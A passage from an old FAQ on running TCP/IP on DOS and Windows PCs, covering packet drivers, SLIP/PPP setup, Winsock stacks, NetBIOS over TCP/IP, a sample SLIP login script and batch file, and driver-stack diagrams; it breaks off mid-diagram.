    Frequently used diagnostic utilities include ifconfig (checks the
    configuration of the network interfaces), ping (tests IP layer
    connectivity), traceroute (traces the route that a packet takes
    between two sites), netstat (checks the routing table), tcpdump
    (protocol analyzer), arp (looks at the IP to Ethernet address
    mappings). Microsoft TCP/IP-32 includes versions of all of these
    except for tcpdump.

    KA9Q includes ifconfig, ping and traceroute functions. In KA9Q hop
    check is the equivalent of traceroute. The Trumpet TCP/IP stack also
    has a hopchk2 command that is a traceroute equivalent.

    Etherload is very useful for network profiling, as well as packet
    analysis. Although it can't understand RARP or DHCP, it does
    handle multiple protocols (AppleTalk, IP, IPX/SPX, NetBEUI),
    lots of IP protocols (ARP, BOOTP, DNS, RIP, TFTP, TCP and UDP
    statistics, Telnet, FTP). It even can handle NetBIOS traffic,
    which UNIX tcpdump can't. One weakness is that it doesn't do
    RARP or DHCP.

    The other major diagnostic utility I use is tcpdump, running
    under UNIX. However, this is a TCP/IP only diagnostic tool,
    can't be used with Netware, and doesn't know diddly about
    NetBIOS.

    While Etherdump can be used for packet catching, I wish it would
    do more of the work for you, along the lines of TCPDUMP. Life's too
    short to spend looking at hex packet traces, so I use EtherLoad
    or tcpdump instead.

    Trumpet Winsock comes with Windows implementations of Ping and Traceroute.

    A-9. Is there a CD-ROM with the software included in this FAQ?

    The Packet Driver, WinSock & TCP/IP CD-ROM is available from
    CDPublishing for $29.95. This includes the packet drivers of course,
    but also lots of other DOS and Windows TCP/IP stuff, including
    Windows Sockets applications. It also includes the text of all
    the RFCs. This is now somewhat out of date (it was cut in
    December 1993), but is otherwise highly recommended.

    CDPublishing, (604)874-1430, (800)333-7565, fax: (604)874-1431,
    mailto:info@CDPublishing.com, ftp://ftp.CDPublishing.com/,
    Gopher site: gopher://gopher.CDPublishing.com/, WWW: http://www.CDPublishing.com/

    A-10. Does Windows NT support SLIP? PPP?

    The Windows NT 3.5 supports PPP (client and server) and SLIP (client),
    both including support for Van Jacobson header compression. It also
    supports DHCP, and Windows Internet Name Service (WINS).

    A-11. Where can I get Microsoft TCP/IP-32?

    Microsoft has now released a 32-bit TCP/IP stack for
    Windows for Workgroups v3.11. It's easy to set up,
    fast, and has worked fine for me. It supports a host of very
    nice new features, including DHCP automatic configuration, WINS
    name resolution, and Windows Sockets v1.1. In addition it comes
    with Telnet and FTP applications. However, please note that
    it does not offer SLIP or PPP support.
    The final release is now available via:
    ftp://ftp.microsoft.com/peropsys/windows/Public/tcpip/


    A-12. How do I get my BBS to run over TCP/IP?

    First off, let's clarify what we mean by "over TCP/IP." This can mean
    everything from "accessible via Telnet" to being a full Internet
    citizen, supporting Gopher, HTML, etc.

    NovaLink Professional is today the only BBS software that includes
    support for HTML in mail and news. For info, contact Res Nova
    Software. Softarc's FirstClass package will soon be availble on Windows NT,
    and has also promised HTML support.

    eSoft's IPAD is a full fledged SMTP, NNTP, DNS, FTP, Telnet, and SLIP/PPP
    server, that can be hooked up to an existing TBBS system to provide
    full Internet support. It comes with hardware and costs in the neighborhood
    of $4K.

    The Major BBS now runs under UNIX, and thus offers Internet support;
    the DOS version now has an Internet gateway that can handle telnet,
    mail, and news, among other things.

    Support for a variety of BBSes is available from Murkworks. Their
    BBSNet product provides a Telnet interface that looks like a FOSSIL driver.
    The first version runs partly as an NLM; some of the code resides on the server.
    For info, contact

    BBSnet,MurkWorks, Inc., P.O. Box 631,Potsdam, NY 13676,
    +1 315 265 4717, mailto:info@MurkWorks.com

    For further information on running BBSes on the Internet, see The
    Online User's Encyclopedia, Addison-Wesley.

    A-13. Are there graphical servers out there?

    Yes! For Windows there is a graphical SMTP daemon which is not very
    functional (it can't do as much as KA9Q); several Web servers, including
    a Windows version of NCSA's HTTP, and SerWeb.

    For Windows NT, The European Microsoft Windows Academic Consortium (EMWAC) has
    released Windows NT servers for Gopher, WAIS, and WWW. These servers
    are easy to install, and fast, and offer the full complement of capabilities,
    including support for forms, access to WAIS indices from within HTTPS,
    installation as a Windows NT service, etc. Highly recommended.

    See the resource section for details.

    A-14. What methods of address assignment are available?

    Methods of address assignment include client/server protocols
    (RARP, BOOTP, DHCP), as well as script-based methods
    (terminal server indicates, "your address is 192.187.147.2"). PPP
    also supports assignment of addresses from the server.

    As part 2 of this FAQ discusses, there are RARP and BOOTP clients
    and servers available for DOS. Typically the clients work by stashing
    the IP address in a DOS environmental variable. It is then your responsibility
    to modify the appropriate config files to reflect this
    address. This can be done using a DOS batch script and a utility such as
    DOS awk. This same approach can be used to modify config files when using
    EtherPPP; this does not place the IP address into a variable, but the output
    of EtherPPP can be piped to a file and the IP address picked off and inserted
    in the appropriate locations. If this sounds complicated, it is; be warned.

    Trumpet Winsock supports script-based assignment of addresses. Microsoft TCP/IP
    supports a DHCP client and NT Server supports a DHCP server.
    There is also a forthcoming DHCP server for Sun.

    However, be aware that these products are not always RFC compliant. For example,
    RFC covers interoperability between BOOTP and DHCP. This
    RFC states states how a DHCP client can use a BOOTP server to determine its
    parameters, and how a BOOTP client can interoperate with a DHCP server.
    However, I am not aware of a DHCP client or server that implements these
    recommendations.

    A-15. How can I set up PPP server on a UNIX host?

    This is not the appropriate place to address that question, but lots
    of info on this is available in the news:comp.protocols.ppp FAQ.

    A-16. What is WinSNMP? Why doesn't my TCP/IP stack support SNMP?

    WinSNMP is an API which provides a standard interface to to the
    Simple Network Management Protocol (SNMP) for network
    management applications running under Windows. Applications written to
    WinSNMP can run on any WinSNMP-compatible implementation.

    Vendors supporting WinSNMP include FTP Software, which supports it
    in both OnNet 1.1, and PC/TCP 3.0. SNMP agents are also available
    in Windows NT, Chameleon, and other packages.

    There are also freeware WinSNMP-compliant applications. See the
    Resource Section for details.

    However, if your chosen TCP/IP stack does not support an SNMP agent,
    you are probably out of luck. This is because SNMP support cannot just
    be tacked on; the stack must keep the statistics, and work closely
    with the SNMP agent in order to allow these variables to be read
    in response to SNMP queries. Without detailed knowledge of a particular
    stack's operation, it is virtually impossible to write an SNMP agent
    for it.

    A-17. What proxy servers are available for use with Web browsers?

    Mosaic and WinWeb now both support proxies via the CERN httpd, which
    supports http, ftp, gopher, and wais proxies, as well as caching.
    Netscape supports the SOCKS proxy.

    A-18. Why doesn't my Web browser support direct WAIS queries?

    If you've been trying out WinWeb, Netscape, Booklink, Windows Mosaic,
    or Cello, you've noticed that trying to resolve a WAIS URL results
    in an error. You may have checked your URL syntax over and over,
    trying to figure out what you did wrong.

    Guess what? The only Web browser that supports direct WAIS queries
    is XMosaic v2.4 or later. On that browser, a WAIS query will generate
    a request to port 210 on the destination WAIS site. (I know, because
    I've run TCPDUMP to verify this).

    On other browsers, you can reach WAIS sites that have set up a
    Gopher or Web server to handle queries; however, you cannot
    reach them directly.

    How did this come about? Windows Mosaic v1.0 contained
    support for a WAIS gateway operating at NCSA. This gateway took
    your incoming request, and forwarded it to the destination WAIS site,
    and when the response came back, forwarded the answer to you. However,
    the NCSA WAIS gateway got bogged down, so support for WAIS gatewaying
    was removed in v2.0. However, since they didn't put direct WAIS
    support in, an error was generated.

    In my opinion, this was (and is) handled lamely. Either put up a
    reasonable error message explaining that WAIS is not supported,
    or put in direct support.

    A-19. What is SOCKS? What TCP/IP stacks and applications support it?

    SOCKS is a type of proxy server that listens on port 1080. Instead
    of sending HTTP requests to port 80, gopher to port 70, etc. a
    SOCKS-compliant application will instead route them to port 1080 on the
    SOCKS server. The SOCKS server then examines the requests and decides
    if they should be allowed or denied.

    To my knowledge, Trumpet Winsock v2.0 is the only TCP/IP stack with
    built-in SOCKS support. It apparently has problems with rbind, which
    can get gotten around by using FTP in PASV mode.

    Netscape also supports SOCKS.

    A-20. How can I handle authentication on my NNTP server?

    A good way to handle this is to use the AUTHINFO extensions to NNTP
    which are supported by the INN server, as well as clients supporting
    AUTHINFO, such as WinVN, the Trumpet newsreader (DOS and Windows versions),
    and Internews on the Macintosh. With AUTHINFO, you can automatically
    allow hosts within a known subdomain to post without authentication,
    forcing users outside this domain to input their userID and password,
    which is the same as that needed to access a POP server running on the
    same machine. With AUTHINFO, the userID is automatically placed in the posting.

    A-21. What is SlipKnot?

    SlipKnot (TM) is a shareware Web browser for MS Windows that works with ordinary UNIX
    shell accounts, without requiring a SLIP or PPP connection. SlipKnot provides
    a UNIX shell terminal window so that you can still use your ordinary UNIX
    commands, or you can switch into Web browser mode. With SlipKnot, up to
    five documents can be visible at a time; previous requests are cached. Since
    SlipKnot supports threading, you can look at an existing document while a
    new one is being retrieved. SlipKnot supports saving or printing of documents,
    including embedded images.

    SlipKnot requires a mouse, Windows 3.1 or WFW with 2 MB disk space, 4 MB of memory,
    with 8 MB recommended. On the UNIX side, you will need Xmodem or Ymodem support.

    See the resource section for details.

    A-22. What is TwinSock?

    TwinSock is a freeware Winsock proxy client implementation. When using
    TwinSock, you need not assign an official IP address. When a Windows
    application makes a Windows Sockets call, the TwinSock client passes
    the request to a version of TwinSock running on the firewall host. The
    firewall host will then permit or deny the request, and will pass the response
    to through to the requesting client.

    For more information on TwinSock, check out news:alt.dcomp.slip-emulators,
    news:comp.os.ms-windows.networking.tcp-ip, news:comp.os.ms-windows.apps.comm

    A-23. How do I get info on the ODI specification?

    Try:
    ftp://netlab2.usu.edu/odi

    A-24. What is WinISDN?

    Ed Klingman (mailto:klingman@interramp.com) writes:

    The WinISDN API is an open standard. It was created by
    NetManage, ISDN*tek and Performance Systems. Inc (PSI)
    to support PPP packets to the Internet, peer-to-peer
    connectivity, and Voice applications over ISDN. It is NOT
    a proprietary standard, no royalties are associated with it.

    WinISDN is packet-based and (for simple connectivity) requires
    NO knowledge of ISDN protocols. This is probably its main
    advantage over CAPI and TAPI, both of which tend to
    require ISDN protocol knowledge to do the simplest connection.
    Of course, ISDN protocol support is there for advanced applications.

    WinISDN provides very simple connections over ISDN networks and
    supports HDLC PPP packets on B-channels, Voice, and streaming data
    transfer as well as X.25 packets on the D-channel. It runs on
    Windows 3.1 systems and has run under Windows 95 beta. It works
    well under IBM's Win/OS2 software.

    WinISDN is supported by the following hardware providers:

    ISDN*tek - available
    IBM - announced
    3COM - not officially announced
    AccessWorks - not officially announced
    Motorola - not officially announced
    Teles - not officially announced
    others - working on it

    WinISDN is supported by the following TCP-IP software vendors:

    NetManage - available
    Spry - Q2 - not officially announced
    Wollongong - Q2 - not officially announced
    FTP - Q3 - not officially announced
    Frontier - ??

    Internet Access using WinISDN is available in:

    US - all ISDN switches: AT&T 5ESS, DMS-100, Siemens
    Japan - NTT INS-64
    Israel - Bezeq ISDN
    Europe - Q2 or Q3, 1995

    The WinISDN API can be downloaded (as a Word 2.0 doc) from:
    ftp://ftp.netmanage.com/pub/win_stan...n/winisdn9.doc

    The market did not "agree" to this standard. It became a standard
    by providing the first PC-card ISDN acess to the Internet in the US.
    Its simplicity, robustness, and open-ness, caused it to be adopted
    by the above players, among others. It was designed to allow
    mapping from CAPI and TAPI into WinISDN.

    ISDN*tek will be announcing a Visual Basic WinISDN Developers kit
    at the Software Developers Conference in Feb and VBITs in March.


    B. Questions about drivers

    B-1. What do I need to know before setting up SLIP or PPP?

    Before setting up your SLIP or PPP connection, you should
    have available the following information:

    * The domain name and TCP/IP address of your host.
    * Whether your TCP/IP address will be assigned statically,
    dynamically, or from the server.
    * If from the server, whether you will be using RARP, BOOTP or DHCP.
    * The domain name and TCP/IP address of your machine (if you are not
    configuring the address dynamically or via BOOTP)
    * The domain name and TCP/IP address of the primary and secondary
    Domain Name Server.
    * The subnet mask.
    * The domain name and TCP/IP address of an NNTP server.
    * Whether your host supports POP, and if so, what version.
    * Whether the host supports compressed or uncompressed SLIP, or PPP.
    * The size of the Maximum Receivable Unit (MRU).


    Do not attempt to connect to your host before you have this
    information, since it will just waste your time and money, and may
    cause problems for the network. In particular, do not attempt to
    initiate a connection using a made up TCP/IP address! It is possible
    that your madF-up address may conflict with an existing address.

    This is probably the quickest way to get people very angry at you.

    Static addressing means that your TCP/IP address will always
    be the same. This makes it easy to configure your setup files.
    Dynamic addressing means that the host will send you a message
    containing your TCP/IP address when you log on. This can be
    problematic if your software doesn't support grabbing the address
    and inserting it into the setup files. If not, then you may have
    to edit your setup files every time you log on. Yuck!

    Chameleon includes a version of SLIP which can handle dynamic
    addressing. The most recent version of Novell's Lan Workplace for
    DOS does as well.

    You can also retrieve your address using RARP, BOOTP or DHCP. RARP
    is only available to those on the same LAN as the RARP server, since
    it uses broadcasting. BOOTP clients can access BOOTP servers on other
    LANs via BOOTP relay. DHCP is a BOOTP extension, which allows
    complete configuration of a client from info stored on a DHCP server, and in
    addition supports new concepts such as "address leases". Since
    DHCP frames are very similar to BOOTP frames, devices supporting BOOTP relay
    will also support DHCP relay.

    Of course, for DHCP or BOOTP to work, you will need to set up a DHCP
    or BOOTP server. DHCP servers are available for UNIX, and Windows NT;
    BOOTP servers are available for UNIX (BOOTPD, from CMU).

    PPP also supports server assignment of TCP/IP addresses.


    B-2. How do I configure SLIPDIAL?


    From Ashok Aiyar, mailto:ashok@biochemistry.bioc.cwru.edu:

    PHONE Script Files:

    PHONE comes with several scripts (for various modems) and for the
    University of Minnesota Terminal server built into it. The command
    PHONE WRITE writes these scripts to an ASCII file called PHONE.CMD,
    which can be edited to your needs (modem and slip server)

    The documentation that accompanies PHONE, provides good instructions on
    writing script files to get PHONE to dial SLIP servers other than
    the University of Minnesota server. For example here is a script
    that I use to dial a CISCO server at the University that I attend.

    Background: To start a SLIP connection, I dial our terminal server,
    and login with a username and password. After doing so, I start a SLIP
    session with the following command "slip usernamF-slip.dialin.cwru.edu",
    followed by my password -- again.

    Here then is the relevant portion of the PHONE.CMD script file -
    #
    # CWRU-TS2 SLIP login script by Ashok Aiyar 3/26/93
    # Last revised 3/28/93
    Procedure Host.CWRU.Login
    TimeOut 60 'CWRU-TS2 terminal server is not responding'
    Message "CWRU-TS2 SLIP login script -- Version 1.1"
    Message 'Waiting for SLIP server to respond'
    Quiet ON
    Expect 'Verification'
    Message 'Request for User Verification Received from CWRU-TS2'
    Message 'Sending your user name and password'
    Quiet OFF
    Expect 'Username:'
    Send '%u&lt;'
    Expect 'Password:'
    Private
    Send '%p&lt;'
    Reject 'Access denied' 'Your user name or password was not accepted'
    TimeOut 30 'SLIP server did not respond to your validation request'
    Expect 'CWRU-TS2&gt;'
    Send 'SLIP&lt;'
    TimeOut 10 'SLIP server did not respond to SLIP command'
    Expect 'IP hostname or address:'
    Send '%u-slip.dialin.cwru.edu&lt;'
    TimeOut 10 'SLIP server did not respond to hostname'
    Reject 'Bad IP address' 'Incorrect Hostname'
    Expect 'Password:'
    Send '%p&lt;'
    Reject 'Access denied' 'Password not accepted.'
    TimeOut 10
    Expect 'Header Compression will match your system'
    Message 'Login to CWRU SLIP server successful'
    Wait 1.0
    EndProcedure Host.CWRU.Login
    #
    #
    Procedure Host.CWRU.LogOut
    # Nothing special needs to be done to logout
    EndProcedure Host.CWRU.LogOut
    #
    # End of Script file
    #
    ----------------------------------------------------------------------
    How to use packet drivers other than UMSLIP with PHONE?

    The quick answer -- there is no "clean" way. Below is a batch file
    hack that I wrote to use PHONE with other packet drivers. In this
    example, the packet driver is Peter Tattam's CSLIPPER. To use a
    batch file like this, you must know the parameters with which you
    plan to use the packet driver -- i.e interrupt vector, baud rate,
    port address, and IRQ. This batch file requires UMSLIP.COM,
    CSLIPPER.EXE, and TERMIN.COM to be in the same directory
    or in your path ...

    All that the BATCH file does is to let you dial the SLIP connection
    using PHONE, load the appropriate packet driver, hangup the
    connection, and unload the driver when you are done ...

    -- being CWRUSLIP.BAT --
    @echo off
    rem this batch file is an ugly hack of U. of Minn. "SLIP.BAT"
    rem awaiting a version of C/SLIPPER that can directly interact
    rem with PHONE
    rem CWRUSLIP.BAT file is used with PHONE.EXE to start a SLIP
    rem connection on CWRU-TS2
    rem last modified 3/28/93 -- Ashok Aiyar

    @echo off
    cls
    goto start

    :start
    if %1. == ?. goto help
    if %1. == help. goto help
    if %1. == setup. goto setup
    if %1. == dial. goto forceD
    if %1. == hangup. goto forceH
    if %1. == quit. goto forceH
    if %1. == HELP. goto help
    if %1. == SETUP. goto setup
    if %1. == DIAL. goto forceD
    if %1. == QUIT. goto forceH
    goto bogus
    goto unload

    :forceH
    termin 0x60
    umslip &gt;nul
    phone force hangup
    goto unload

    :slipper
    termin 0x60
    REM the following line must be changed to reflect the COM port,
    REM IRQ, baud rate, and software interrupt
    lh c:\packet\cslipper com1 vec=60 baud=57600 ether
    goto end

    :forceD
    termin 0x60
    umslip &gt;nul
    phone force dial
    goto slipper

    :setup
    termin 0x60
    umslip &gt;nul
    phone setup
    goto help

    :unload
    termin 0x60
    goto end

    :bogus
    echo %1 is not a valid command.
    echo Try "cwruslip help" for a list of valid commands
    echo.

    :help
    echo --------------------------------------------------------------
    echo Case Western Reserve University SLIP Setup
    echo using Univ. of Minnesota PHONE
    echo --------------------------------------------------------------
    echo cwruslip setup modem settings, phone number, username etc.
    echo.
    echo cwruslip dial DIAL and establish the SLIP connection
    echo cwruslip quit HANGUP the phone and unload the driver
    echo cwruslip help this screen
    echo.

    :end
    -- end CWRUSLIP.BAT --



    B-3. How do I install packet drivers for Windows applications?

    The secret is to load the packet driver, then run Windows. If you
    are running Trumpet Winsock, you will also have to load WINPKT
    before running Windows, as follows:

    winpkt 0x60

    If you are running DOS applications within a virtual DOS session
    under Windows, you should load PKTMUX after your packet driver, as
    follows:

    PKTMUX 4 [or however many sessions you want]
    WIN [load windows]

    Then within each DOS session, load PKTDRV, the virtual packet driver.

    If you are running Trumpet Winsock along with other DOS apps in a
    virtual DOS session, then you will need to load PKTDRV prior to
    loading Windows, and then load WINPKT on top of it, as follows:

    PKTMUX 4
    PKTDRV 0x62
    WINPKT 0x62
    PKTDRV 0x60
    WIN

    TCPMAN will then find the virtual packet driver at 0x62.


    B-4. When do I need to install WINPKT?

    You only need to load WINPKT before Windows if you have a network
    card in your computer, or are running a packet driver that simulates
    such a card, such as EtherPPP, or CSLIPPER in Ethernet simulation mode.
    If you are using Trumpet Winsock via SLIP/CSLIP, there is no need to load
    WINPKT, since you can use Trumpet Winsock's built-in CSLIP driver.

    PKTMUX and WINPKT both accomplish the same thing: allowing you to
    connect to a DOS packet driver running in real mode from a virtual
    DOS session under Windows. PKTMUX is useful when you are running
    more than one TCP/IP stack, and since it takes up more RAM and is
    slower than WINPKT, you should only use it when you want to run more
    than one stack at a time. If you are running only one DOS app,
    or are using Trumpet Winsock, stick with WINPKT.

    James Harvey (mailto:harvey@iupui.edu) notes:
    Winpkt is only useful running DOS applications with built-in TCP/IP
    stacks under Windows, and for some Windows-based stacks (like the
    Trumpet winsock.dll). When an application registers with a packet
    driver TSR to receive packets of a specified protocol type, one of the
    things it hasto pass as a parameter to the packet driver in the call
    is the address of a routine in the application that the packet driver
    is to call when it has a packet to pass back to the application. In
    the case of an application running in 386 enhanced mode in a DOS shell
    under Windows that is using a packet driver loaded in real mode before
    Windows was loaded, the packet driver must ensure that Windows has the
    application in memory when it does the callback, otherwise the callback
    jumps off into space and your system locks up. Winpkt does a Windows
    system call to force the app into memory before the callback is done.

    Erick Engelke (mailto:erick@uwaterloo.ca) notes:
    Windows in enhanced mode uses the protected mode of the
    386 CPU to create multiple virtual machines. Winpkt tells
    Windows to switch to the correct virtual machine before
    trying to pass up the packet. This reduces the chances of
    Windows crashing.


    B-5. How to do I run both WinQVT and ODI?

    My advice is to use the Windows Sockets version of WinQVT/Net, Trumpet
    Winsock, and ODIPKT. ODIPKT will allow you to run packet driver software
    over ODI. You will also need to load WINPKT for Trumpet Winsock.

    The loading sequence is:

    LSL [Link support layer]
    NE2000.COM [or other ODI driver]
    IPXODI [IPX version supporting ODI]
    NETX
    ODIPKT 1 96
    WINPKT 0x60
    WIN [run windows]

    Then run Trumpet Winsock, and load WinQVT/Net.

    B-6. Is it possible to use BOOTP over SLIP?

    Yes, but it is easier to use dynamic address assignment to get
    your IP address. This is where the SLIP server outputs your IP address
    before switching to SLIP.

    If you need BOOTP, then you should run a BOOTP server on the SLIP
    server so that it can tell which SLIP connection originated the
    request. Of course, the BOOTP server will ignore the hardware address
    of the request originator, but instead will keep track of the SLIP
    interface the request came in on. See the question on adding BOOTP to
    KA9Q for info on how to handle this on the PC. Under UNIX, you may
    have to add BOOTP capability to your slip driver, and rebuild the
    kernel. (Not recommended for the squimish).


    B-7. How do SLIP drivers work?

    Some TCP/IP applications are written to only support Class 1 (Ethernet)
    packet drivers, but do not support Class 6 (SLIP). For these applications, you
    need software to make the application think it is dealing with a class 1
    interface. This is done by adding fake ethernet headers to incoming
    SLIP or PPP packets and stripping the headers off outgoing packets.


    B-8. When do I need to install PKTMUX?

    PKTMUX is needed to allow you to use more than one TCP/IP stack at the same
    time. This is useful if you have applications that require different stacks.
    Note that you do not need PKTMUX to run different protocols, since packet
    drivers only look at packets in the protocol they're designed to handle,
    and therefore you can use more than one of these at a time without conflict.
    You also don't need PKTMUX if all your applications use the same TCP/IP stack.

    PKTMUX works by looking at outgoing datagrams, and caching information on
    source and destination ports and addresses. Using this information, PKTMUX
    tries to sort incoming datagrams by TCP/IP stack. If it can't figure out
    which stack to send a datagram to (as might be the case if you were running
    a server application on a well-known port, and had not sent any outgoing
    packets yet), PKTMUX will send the datagram to all stacks. If all stacks
    do not complain about the datagram, PKTMUX will throw away the ensuing outgoing
    ICMP error message, assuming that one of the stacks correctly received
    the datagram. If all stacks complain, it will send a single ICMP message
    and throw the rest away.

    While PKTMUX does its job very well, there are some situations that it cannot
    handle, such as port conflicts. If two applications open the same TCP port,
    chaos is inevitable, and there is little that PKTMUX can do to help.

    B-9. Can NDIS be used underneath multiple protocol stacks of the same type?
    No. There is no equivalent to PKTMUX for NDIS.

    B-10. Is there an NDIS over packet driver shim?
    Joe Doupnik writes:

    "No. Packet Drivers work by having an application register
    for a particular packet TYPE, such as 0800 for IP. NDIS works much
    differently, by offering a peekahead of every packet to applications in turn,
    a polling operation. The only way NDIS could gracefully sit on a PD would
    be to run the Packet Driver in all-types mode and let NDIS see all pkts
    not used by other clients. Needless to say, that's an undesirable situation.
    The quick solution, costing about US$100 (at least at my place,
    more at yours) is a second Ethernet board in the client together with a
    second IP address (most important, please)."

    B-11. How do I run NetBIOS over TCP/IP?

    NetBIOS over TCP/IP is discussed in RFCs 1001 and 1002, which defines
    three types of NetBIOS nodes:

    * B nodes, which use UDP broadcast packets to distribute datagrams and
    resolve names.
    * P nodes, which use point-to-point communications and which
    require NetBIOS Datagram Distribution (NBDD) and NetBIOS Name
    Servers (NBNS). P nodes do not listen to or use broadcast
    services, so they cannot be used alongside B nodes. Unfortunately NBNS,
    and NBDD servers were not widely implemented, and those
    that do exist (such as an implementation from Network Telesystems)
    are not inexpensive.
    * M nodes, which use both point-to-point and broadcast.

    B node technology cannot be used on an IP internet without extensions,
    since UDP broadcast packets are not forwarded through routers. This
    is not a problem with use of NetBIOS over IPX/SPX, since in IPX/SPX
    broadcast packets can be forwarded.

    However, until very recently, M and P node technology was not supported
    by popular TCP/IP implementations. For example, PC/TCP supports
    B node technology with extensions such as a broadcast file, host file,
    or DNS resolution of NetBIOS names. Windows NT and WFW TCP/IP uses an
    LMHOSTS file for resolving names.

    According to Chip Sparling of FTP Software:

    "From what I remember from our discussions of a few years ago, P
    nodes were only implemented by Ungermann Bass and 3COM (and they
    required you to use a NetBIOS name resolver which was non-rfc 1001, 1002 compliant),
    nobody did M nodes (as far as I remember) and PC-LAN, Lantastic and
    LanManager used B node. Also, if you did a P or M node it wouldn't be
    compatible with a B node NetBIOS. We decided that we could give the
    compatibility and functionality (routability) with a B node plus
    extensions implementation. So, that's what we did."

    Without implementation of M and P node technology, the only way
    to run over an IP internet is to to implement B node technology
    with extensions, as FTP Software does in PC/TCP. According to Chip,
    "one way to handle large numbers of hosts on multiple networks is
    to use the broadcast file extenstion. Instead of putting specific
    ip addresses in the broadcast file, use a subnet broadcast address
    like nnn.nnn.nnn.255. which will cover an entire subnet."

    Assuming you don't need any of the extensions to RFC NetBIOS
    Microsoft created to make NetBIOS work smoothly in a routed environment
    (available only in their IP stack), you can choose from a wide variety of
    commercial vendors. For example, FTP Software's PC/TCP includes RFC NetBIOS
    support; Performance Technologies has a NetBIOS that runs over packet drivers,
    as does Accton (LANSoft).

    If any other vendors are reading this, I'd love to have information
    on how *you* implement NetBIOS over TCP/IP, and whether you'll be
    supporting WINS, the new P-node technology name resolution service
    from Microsoft.

    WINS support is included in the recent release of TCP-IP/32 which
    is available for download on ftp.microsoft.com. Consult the
    release documentation for more information on this.

    Another recent development is the release of an NBNS and SMB
    server for UNIX, known as Samba. Samba works great, I am using
    it. See resource section for details.


    B-12. How do I run NFS along with another TCP/IP application?

    The DOS NFS implementation by M. Durkin now supports a built-in
    packet multiplexer that can handle NFS plus another stack loaded
    simultaneously. If you need to load more stacks, then you will need
    to run PKTMUX as well.

    See the resource section for details.

    B-13. How do I run Trumpet Winsock along with KA9Q or NFS?

    The secret is to load WINPKT on top of the PKTDRV virtual
    packet driver, if you are running PKTMUX.

    B-14. I am trying to run Netware and TCP/IP at the same time, using
    PDETHER. How do I do this?

    Chris Badura (bad@flatlin.ka.sub.org ) writes:
    "On one PC running odipkt over the ODI driver for the pocket ethernet
    adaptor resulted in a 10x performance *decrease*. So I switched to
    running IPX/SPX over a paket driver for this adaptor wich performs
    very well. The setup is like:

    pkdriver 0x60
    lsl
    pdether
    ipxodi
    netx
    winpkt 0x60

    I had to get pde103.zip from netlab2.usu.edu to get IPX with Ethernet
    II frameing to work. The older pdether from simtel didn't work.
    It seems also like winpkt has to be loaded last."

    B-15. Sample Stick Diagrams

    It has been proposed that we begin to collect some diagrams of working
    combinations of hardware, drivers, shims, stacks, and applications. I'm
    game, and have made a start below. If you've got some other exotic
    configuration that works (or if you've tried one of the configurations below
    and discovered it doesn't work, drop me a line).

    Running an individual DOS application under Windows

    NCSA telnet / DOS Trumpet / POPmail/ PC Gopher III
    |
    DOS Session
    |
    Windows 3.1
    |
    WinPKT
    |
    Packet driver or Shim
    |
    DOS
    |
    Network Adapter


    DOS Trumpet, NCSA Telnet, and WinQVT/Net over Ethernet under Windows

    QVT/NET
    |
    TRUMPET NCSA telbin |
    | | |
    PKTDRV1 PKTDRVn |
    | | |
    DOS Session DOS Session Windows Session
    +-----------+-----------------+ |
    | |
    + |
    WINDOWS 3.1 ............. WINDOWS 3.1
    | |
    | PKTINT(QVT/NET own)
    | |
    | PKTDRVx
    +-------------------------------+
    PKTMUX n
    |
    Packet Driver or SHIM
    |
    DOS
    |
    Network Adapter

    PC Gopher III, NCSA Telnet over CSLIP under Windows




    PC Gopher III NCSA telbin
    | |
    PKTDRV1 PKTDRVn
    | |
    DOS Session DOS Session
    +-----------+-----------------+
    |
    +
    WINDOWS 3.1
    |
    |
    |
    |
    +
    PKTMUX n
    |
    CSLIPPER
    |
    DOS
    |
    Serial Port

    PC Gopher II and NetWare on a LAN - Alternative I
    [Didn't work for me, but it's supposed to be OK]

    NetWare
    PC Gopher |
    III |
    | |
    DOS Session NETX
    | |
    Windows 3.1 |
    | PDIPX
    WINPKT /
    \ /
    \ /
    \ /
    \ /
    Packet Driver
    |
    DOS
    |
    Network Adapter


    PC Gopher III and NetWare on a LAN - Alternative II

    PC-Gopher III
    |
    DOS Session
    |
    Windows 3.1
    |
    |
    NetWare |
    \ /
    NETX WINPKT
    \ /
    IPXODI ODIPKT
    \ /
    \ /
    |
    Link Support Layer
    |
    ODI driver
    |
    DOS
    |
    Network Adapter

    WinQVT/Net and PC Gopher II and NetWare over a LAN - Alternative I

    PC Gopher
    III
    | Win QVT/Net
    PKTDRV1 |
    | |
    DOS session Windows 3.1
    | |
    Windows 3.1 PKTINT (QVT/NET own)
    | |
    | PKTDRVn
    WinPKT |
    | | NetWare
    +----------------+ |
    | |
    | |
    PKTMUX n NETX
    | |
    \ PDIPX
    \ |
    \ |
    \ |
    \ |
    Packet Driver --------------+
    |
    DOS
    |
    Network Adapter

    WinQVT/Net, PC Gopher III and NetWare over a LAN - Alternative II

    QVT/Net
    PC Gopher III NCSA telbin |
    | | |
    PKTDRV1 ..... PKTDRVn |
    | | | |
    DOS Session DOS Session Windows Session
    +-----------+-----------------+ |
    | |
    | |
    WINDOWS 3.1 .......................WINDOWS 3.1
    | |
    | PKTINT(QVT/NET own)
    | |
    | PKTDRVx
    | |
    | |
    | |
    | |
    +------------------+------------+
    |
    NetWare |
    \ /
    NETX PKTMUX n (use if &gt;1 TCP/IP app)
    \ /
    IPXODI ODIPKT
    \ /
    \ /
    |
    Link Support Layer
    |
    ODI driver
    |
    Network Adapter



    PC Eudora and Windows Trumpet over CSLIP/PPP under Windows using Trumpet Winsock


    PC Eudora Windows Trumpet
    \ /
    \ /
    \ /
    \ /
    TCPMAN
    |
    Windows 3.1
    |
    WINPKT 0x60
    |
    DOS
    |
    Serial Port

    PC Eudora and Windows Trumpet supporting Ethernet and CSLIP/PPP under Windows
    using NDIS supporting stack [Chameleon]

    [Please note: this is not possible under Trumpet Winsock, since it can
    only handle a single interface; it requires a stack that routes]

    PC Eudora Windows Trumpet
    \ /
    \ /
    \ /
    \ /
    Chameleon NEWT
    |
    Windows v3.1
    |
    +------------------+
    | |
    Protocol Manager |
    | |
    NDIS Mac Driver Serial Port
    |
    DOS
    |
    Ethernet card



    PC Eudora, Windows Trumpet, and KA9Q under Windows

    WinTrump PC Eudora
    \ /
    \ /
    KA9Q \ /
    | |
    PKTDRV TCPMAN
    \ |
    \ /
    \ /
    \ /
    \ /
    Windows
    |
    PKTDRV 0x62
    |
    PKTMUX 2
    |
    Packet Driver
    |
    DOS
    |
    Ethernet Card

    HGopher, PC Eudora, and WinTrumpet Under Windows
    (Whether the TCP/IP stack is loaded before or
    after Windows depends on the stack)

    HGopher
    |
    |
    PC |
